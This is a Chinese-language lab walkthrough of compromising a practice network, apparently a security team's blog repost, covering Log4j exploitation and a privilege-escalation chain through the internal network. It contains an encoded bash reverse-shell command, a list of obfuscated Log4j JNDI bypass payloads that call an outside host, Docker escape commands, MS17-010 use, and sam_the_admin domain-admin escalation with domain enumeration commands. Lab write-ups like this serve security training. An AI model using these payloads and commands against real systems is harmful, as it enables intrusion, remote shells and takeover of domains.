找到个最新靶机包括log4j以及一个内网核弹漏洞,玩一玩还是挺有意思。
环境拓扑图在靶机里面给了,就放一个截图吧。
信息收集
通常从域名、端口、服务、指纹、旁站、CDN等方面来获取外网的信息
也可以通过oneforall,灯塔等资产收集工具来收集信息
因为靶机在自己的网段之下,一共就这几台机器,所以很快就能定位到外网机器
靶机ip 172.16.18.61
nmap探测
全端口扫描
38080端口存在服务
springboot的报错页面
对springboot敏感路由搜索无结果,想到这个靶机说是有log4j漏洞的,尝试使用dnslog验证一下
${jndi:ldap://fgfk48.dnslog.cn/exp}
log4j反弹shell
本机开启一个LDAP服务
这里用github上大佬写的自动搭建ladp服务
送包执行反弹shell命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
玄学反弹,多试几次
判断当前是否为docker工作环境
ls -alh
判断根目录下是否存在.dockerenv文件
为docker工作环境
cat /proc/1/cgroup
看是否有关于docker的信息即可
可以尝试一下docker逃逸
关于log4j payload的一些bypass
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk
docker逃逸
1.docker remote api未授权访问
docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker。
可以远程查看操作当前docker的容器
docker -H tcp://ip:2375 images
能够执行操作的话可以挂载一个新的容器在/mnt目录下,写入反弹shell到计划任务
不过这里不行
2.docker.sock挂载到容器内部
在控制的容器内找docker.sock文件
find / -name docker.sock
在容器查看宿主机的docker信息
docker -H unix:///var/run/docker.sock info
运行一个新容器并挂载到主机根目录
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
在新容器的test目录下即可访问当前宿主机全部资源,当前靶机没有docker in docker 条件
3.docker高危启动参数
docker以特权模式启动的时候,docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读取权限,还可以通过写入计划任务等方式在宿主机执行命令
以特权模式运行一个容器
sudo docker run -itd --privileged ubuntu:latest /bin/bash
当前靶机并非特权模式
4.Shocker攻击
漏洞描述:从Docker容器逃逸并读取到主机某个目录的文件内容。Shocker攻击的关键是执行了系统调用open_by_handle_at函数,Linux手册中特别提到调用open_by_handle_at函数需要具备CAP_DAC_READ_SEARCH能力,而Docker1.0版本对Capability使用黑名单管理策略,并且没有限制CAP_DAC_READ_SEARCH能力,因而引发了容器逃逸的风险。漏洞影响版本:Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本。
https://github.com/gabrtv/shocker
不过使用docker1.0之前的环境近乎不存在了。以后有空搭建一个复现下
5.runC容器逃逸漏洞(CVE-2019-5736)
这个需要将文件传入到容器内,当前条件不允许
6.Docker cp命令可导致容器逃逸攻击漏洞(CVE-2019-14271)
参考
https://www.anquanke.com/post/id/193218
http://www.myzaker.com/article/5dd9dd888e9f09082650eba0
具体利用过程
https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
7.利用DirtyCow漏洞实现Docker逃逸
docker与宿主机共享内核
使用脏牛提权过后监听本地端口可以获得权限
参考
https://www.cnblogs.com/xiaozi/p/13423853.html
总而言之docker逃逸法子没能用的,只能翻一翻当前docker容器里面是否存在其他可以利用点。
在翻东西的时候找到了第一个flag
而且给了一个账号密码
返回去看之前的端口扫描是有22端口开放的,尝试连接登上去了
探测出了当前网络信息
存在两张网卡,且内网段为10.0.1.x
能够直接连,就换了个xshell上了个shell文件
生成正向shell过后通过xshell上传到目标靶机
通过msf自带的arp扫描探测内网主机
找到存活机器10.0.1.7
做个流量转发探测一下
就常规socks4a代理就行
1.17010获取win7权限
扫描端口成功但是无法探测OS
因为机器开放445端口所以尝试用smb探测一下
use auxiliary/scanner/smb/smb_version
win7 域控为REDTEAM
445开放的话直接上17010检测
漏洞存在进行利用
打蓝屏了
彳亍
试了几次打通了
2.信息收集
信息收集一手
第二层内网找到了 10.0.0.x
存活机器为10.0.0.12
SYSTEM权限,摸一摸密码
获取到域用户root
定位到12为域控机器
在桌面找到了flag
3.CVE-2021-42287 & CVE-2021-42278
俩内网核弹级漏洞
原理参考
https://mp.weixin.qq.com/s/RvOndF3gdEZbgqrIPqXsUg
先做一个代理
在socks4a代理下该脚本无法运行
切换到socks5代理,直接利用 sam_the_admin获取域管
利用成功,通过域用户提权到了域管
利用完成,获取到flag
1.网卡优先级
ubuntu靶机的内网卡优先级是最高的,导致无法通外网,图方便改了下网卡优先级,使其能够通外网
不然需要在当前网段搭建一个dnslog
2.JNDIExploit.v1.2打不通log4j
跟别人交流的时候说是1.2执行不了命令
测试可通
3.一些常规的域信息收集手段
Net use
Net view
Tasklist /v
Ipconfig /all
net group /domain 获得所有域用户组列表
net group “domain admins” /domain 获得域管理员列表
net group “enterprise admins” /domain 获得企业管理员列表
net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins)
net group “domain controllers” /domain 获得域控制器列表
net group “domain computers” /domain 获得所有域成员计算机列表
net user /domain 获得所有域用户列表
net user someuser /domain 获得指定账户someuser的详细信息
net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
nltest /domain_trusts 获取域信任信息
SPN扫描
不同于常规的tcp/udp端口扫描,由于spn本质就是正常的Kerberos请求,所以扫描是非常隐蔽,日前针对此类扫描的检测暂时也比较少。
大部分win系统默认已自带spn探测工具即:setspn.exe
此操作无需管理权限
setspn -T target.com -Q */*
可以列出win机器内的服务以及域控。
监制:船长、铁子 策划:格纸 文案:Xanadu 美工:青柠
原文始发于微信公众号(千寻安服):千寻笔记:记一次靶机游玩
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论